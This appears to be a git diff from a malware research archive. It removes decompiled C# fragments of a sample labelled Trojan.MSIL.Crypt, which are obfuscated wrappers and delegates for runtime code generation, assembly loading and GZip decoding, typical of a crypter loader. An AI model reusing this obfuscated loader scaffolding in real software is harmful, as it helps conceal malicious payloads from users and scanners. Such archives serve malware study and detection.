- - public static ILGenerator \u0003\u0006\u0013([In] object obj0) => ((ConstructorBuilder) obj0).GetILGenerator(); - - public static ConstructorBuilder \u0003\u0006\u0012([In] object obj0) => ((TypeBuilder) obj0).DefineTypeInitializer(); - - public static MethodBuilder \u0003\u0006\u0015( - [In] object obj0, - [In] string obj1, - [In] MethodAttributes obj2, - [In] CallingConventions obj3, - [In] Type obj4, - [In] Type[] obj5) - { - return ((TypeBuilder) obj0).DefineMethod(obj1, obj2, obj3, obj4, obj5); - } - - public static void \u0003\u0006\u0014([In] object obj0, [In] MethodImplAttributes obj1) => ((MethodBuilder) obj0).SetImplementationFlags(obj1); - - public static ILGenerator \u0003\u0006\u0017([In] object obj0) => ((MethodBuilder) obj0).GetILGenerator(); - - public static FieldBuilder \u0003\u0006\u0016( - [In] object obj0, - [In] string obj1, - [In] Type obj2, - [In] FieldAttributes obj3) - { - return ((TypeBuilder) obj0).DefineField(obj1, obj2, obj3); - } - - public static PropertyBuilder \u0003\u0006\u0002( - [In] object obj0, - [In] string obj1, - [In] PropertyAttributes obj2, - [In] Type obj3, - [In] Type[] obj4) - { - return ((TypeBuilder) obj0).DefineProperty(obj1, obj2, obj3, obj4); - } - - public static void \u0003\u0006\u0001([In] object obj0, [In] MethodBuilder obj1) => ((PropertyBuilder) obj0).SetGetMethod(obj1); - - public static void \u0003\u0006\u0004([In] object obj0, [In] MethodBuilder obj1) => ((PropertyBuilder) obj0).SetSetMethod(obj1); - - public static EventBuilder \u0003\u0006\u0003( - [In] object obj0, - [In] string obj1, - [In] EventAttributes obj2, - [In] Type obj3) - { - return ((TypeBuilder) obj0).DefineEvent(obj1, obj2, obj3); - } - - public static void \u0003\u0006\u0006([In] object obj0, [In] MethodBuilder obj1) => ((EventBuilder) obj0).SetAddOnMethod(obj1); - - public static void \u0003\u0006\u0005([In] object obj0, [In] MethodBuilder obj1) => ((EventBuilder) obj0).SetRemoveOnMethod(obj1); - - public static void \u0003\u0006\u0008([In] object obj0, [In] Type obj1) => ((ILGenerator) obj0).BeginCatchBlock(obj1); - - public static void \u0003\u0006\u0007([In] object obj0) => ((ILGenerator) obj0).BeginExceptFilterBlock(); - - public static Label \u0003\u0005\u000A([In] object obj0) => ((ILGenerator) obj0).BeginExceptionBlock(); - - public static void \u0003\u0005\u0009([In] object obj0) => ((ILGenerator) obj0).BeginFaultBlock(); - - public static void \u0003\u0005\u0013([In] object obj0) => ((ILGenerator) obj0).BeginFinallyBlock(); - - public static void \u0003\u0005\u0012([In] object obj0) => ((ILGenerator) obj0).BeginScope(); - - public static LocalBuilder \u0003\u0005\u0015([In] object obj0, [In] Type obj1, [In] bool obj2) => ((ILGenerator) obj0).DeclareLocal(obj1, obj2); - - public static Label \u0003\u0005\u0014([In] object obj0) => ((ILGenerator) obj0).DefineLabel(); - - public static void \u0003\u0005\u0017([In] object obj0) => ((ILGenerator) obj0).EndExceptionBlock(); - - public static void \u0003\u0005\u0016([In] object obj0) => ((ILGenerator) obj0).EndScope(); - - public static void \u0003\u0005\u0002([In] object obj0, [In] Label obj1) => ((ILGenerator) obj0).MarkLabel(obj1); - - public static NotImplementedException \u0003\u0005\u0001() => new NotImplementedException(); - - public static void \u0003\u0005\u0004([In] object obj0, [In] Type obj1) => ((ILGenerator) obj0).ThrowException(obj1); - - public static Exception \u0003\u0005\u0003([In] string obj0, [In] Exception obj1) => new Exception(obj0, obj1); - - public static void \u0003\u0005\u0006([In] object obj0, [In] OpCode obj1) => ((ILGenerator) obj0).Emit(obj1); - - public static void \u0003\u0005\u0005([In] object obj0, [In] OpCode obj1, [In] byte obj2) => ((ILGenerator) obj0).Emit(obj1, obj2); - - public static void \u0003\u0005\u0008([In] object obj0, [In] OpCode obj1, [In] ConstructorInfo obj2) => ((ILGenerator) obj0).Emit(obj1, obj2); - - public static void \u0003\u0005\u0007([In] object obj0, [In] OpCode obj1, [In] double obj2) => ((ILGenerator) obj0).Emit(obj1, obj2); - - public static void \u0003\u0013\u000A([In] object obj0, [In] OpCode obj1, [In] FieldInfo obj2) => ((ILGenerator) obj0).Emit(obj1, obj2); - - public static void \u0003\u0013\u0009([In] object obj0, [In] OpCode obj1, [In] float obj2) => ((ILGenerator) obj0).Emit(obj1, obj2); - - public static void \u0003\u0013\u0013([In] object obj0, [In] OpCode obj1, [In] int obj2) => ((ILGenerator) obj0).Emit(obj1, obj2); - - public static void \u0003\u0013\u0012([In] object obj0, [In] OpCode obj1, [In] Label obj2) => ((ILGenerator) obj0).Emit(obj1, obj2); - - public static void \u0003\u0013\u0015([In] object obj0, [In] OpCode obj1, [In] Label[] obj2) => ((ILGenerator) obj0).Emit(obj1, obj2); - - public static void \u0003\u0013\u0014([In] object obj0, [In] OpCode obj1, [In] LocalBuilder obj2) => ((ILGenerator) obj0).Emit(obj1, obj2); - - public static void \u0003\u0013\u0017([In] object obj0, [In] OpCode obj1, [In] long obj2) => ((ILGenerator) obj0).Emit(obj1, obj2); - - public static void \u0003\u0013\u0016([In] object obj0, [In] OpCode obj1, [In] MethodInfo obj2) => ((ILGenerator) obj0).Emit(obj1, obj2); - - public static void \u0003\u0013\u0002([In] object obj0, [In] OpCode obj1, [In] sbyte obj2) => ((ILGenerator) obj0).Emit(obj1, obj2); - - public static void \u0003\u0013\u0001([In] object obj0, [In] OpCode obj1, [In] short obj2) => ((ILGenerator) obj0).Emit(obj1, obj2); - - public static void \u0003\u0013\u0004([In] object obj0, [In] OpCode obj1, [In] string obj2) => ((ILGenerator) obj0).Emit(obj1, obj2); - - public static void \u0003\u0013\u0003([In] object obj0, [In] OpCode obj1, [In] Type obj2) => ((ILGenerator) obj0).Emit(obj1, obj2); - - public static Assembly \u0003\u0013\u0006([In] string obj0) => Assembly.Load(obj0); - - public static Type \u0003\u0013\u0005([In] object obj0, [In] Type[] obj1) => ((Type) obj0).MakeGenericType(obj1); - - public static Type \u0003\u0013\u0008([In] object obj0) => ((Type) obj0).MakeArrayType(); - - public static Type \u0003\u0013\u0007([In] object obj0, [In] int obj1) => ((Type) obj0).MakeArrayType(obj1); - - public static bool \u0003\u0012\u000A([In] string obj0, [In] string obj1) => obj0 == obj1; - - public static ConstructorInfo \u0003\u0012\u0009( - [In] object obj0, - [In] BindingFlags obj1, - [In] Binder obj2, - [In] Type[] obj3, - [In] ParameterModifier[] obj4) - { - return ((Type) obj0).GetConstructor(obj1, obj2, obj3, obj4); - } - - public static MethodInfo \u0003\u0012\u0013( - [In] object obj0, - [In] string obj1, - [In] BindingFlags obj2, - [In] Binder obj3, - [In] CallingConventions obj4, - [In] Type[] obj5, - [In] ParameterModifier[] obj6) - { - return ((Type) obj0).GetMethod(obj1, obj2, obj3, obj4, obj5, obj6); - } - - public static MemberInfo[] \u0003\u0012\u0012( - [In] object obj0, - [In] string obj1, - [In] MemberTypes obj2, - [In] BindingFlags obj3) - { - return ((Type) obj0).GetMember(obj1, obj2, obj3); - } - - public static int \u0003\u0012\u0015([In] object obj0) => ((string) obj0).Length; - - public static double \u0003\u0012\u0014([In] double obj0) => Math.Sqrt(obj0); - - public static char \u0003\u0012\u0017([In] object obj0, [In] int obj1) => ((string) obj0)[obj1]; - - public static Encoding \u0003\u0012\u0016() => Encoding.UTF8; - - public static string \u0003\u0012\u0002([In] object obj0, [In] byte[] obj1, [In] int obj2, [In] int obj3) => ((Encoding) obj0).GetString(obj1, obj2, obj3); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0001.cs deleted file mode 100644 index 6e7b5c4c..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0001.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort.  -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate AssemblyName \u0009\u0001([In] string obj0); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0002.cs deleted file mode 100644 index 9209b326..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0002.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort.  -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System; - -namespace ___codefort -{ - internal delegate AppDomain \u0009\u0002(); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0003.cs deleted file mode 100644 index ee98b390..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0003.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort.  -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Reflection.Emit; -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate ModuleBuilder \u0009\u0003([In] object obj0, [In] string obj1); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0004.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0004.cs deleted file mode 100644 index 39f388d3..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0004.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort.  -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Reflection; -using System.Reflection.Emit; -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate AssemblyBuilder \u0009\u0004( - [In] object obj0, - [In] AssemblyName obj1, - [In] AssemblyBuilderAccess obj2); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0005.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0005.cs deleted file mode 100644 index 287fe2f5..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0005.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort.  -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System; -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate Type \u0009\u0005([In] object obj0, [In] string obj1); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0006.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0006.cs deleted file mode 100644 index 44bf32fc..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0006.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort.  -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System; -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate Type \u0009\u0006([In] object obj0); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0007.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0007.cs deleted file mode 100644 index 400a06fb..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0007.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort.  -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Reflection; -using System.Reflection.Emit; -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate TypeBuilder \u0009\u0007( - [In] object obj0, - [In] string obj1, - [In] TypeAttributes obj2); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0008.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0008.cs deleted file mode 100644 index 07c9d386..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0008.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort.  -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate object \u0009\u0008([In] object obj0, [In] string obj1); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0009.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0009.cs deleted file mode 100644 index fa31af11..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0009.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.IO; -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate Stream \u0009\u0009([In] object obj0); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_000A.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_000A.cs deleted file mode 100644 index 70c655ea..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_000A.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. - -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate double \u0009\u000A([In] double obj0); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0012.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0012.cs deleted file mode 100644 index 1d2a564c..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0012.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort.  -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System; -using System.Reflection; -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate ConstructorInfo \u0009\u0012([In] object obj0, [In] Type[] obj1); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0013.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0013.cs deleted file mode 100644 index befa6b63..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0013.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort.  -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate long \u0009\u0013([In] object obj0); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0014.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0014.cs deleted file mode 100644 index a303054f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0014.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort.  -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.IO; -using System.IO.Compression; -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate GZipStream \u0009\u0014([In] Stream obj0, [In] CompressionMode obj1); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0015.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0015.cs deleted file mode 100644 index 9ee0cb63..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0015.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort.  -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate object \u0009\u0015([In] object obj0, [In] object[] obj1); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0016.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0016.cs deleted file mode 100644 index 75b4c5f9..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0016.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort.  -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate void \u0009\u0016([In] object obj0, [In] byte[] obj1, [In] int obj2, [In] int obj3); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0017.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0017.cs deleted file mode 100644 index 20285a08..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0009_0017.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort.  -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate int \u0009\u0017([In] object obj0, [In] byte[] obj1, [In] int obj2, [In] int obj3); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0001.cs deleted file mode 100644 index eadc2d77..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0001.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. - -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate MethodInfo \u000A\u0001([In] object obj0, [In] string obj1); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0002.cs deleted file mode 100644 index 3b234ccc..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0002.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. - -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate string \u000A\u0002([In] object obj0, [In] int obj1); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0003.cs deleted file mode 100644 index ee67946b..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0003.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. - -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Reflection; - -namespace ___codefort -{ - internal delegate Assembly \u000A\u0003(); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0004.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0004.cs deleted file mode 100644 index 59d6fc3c..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0004.cs +++ 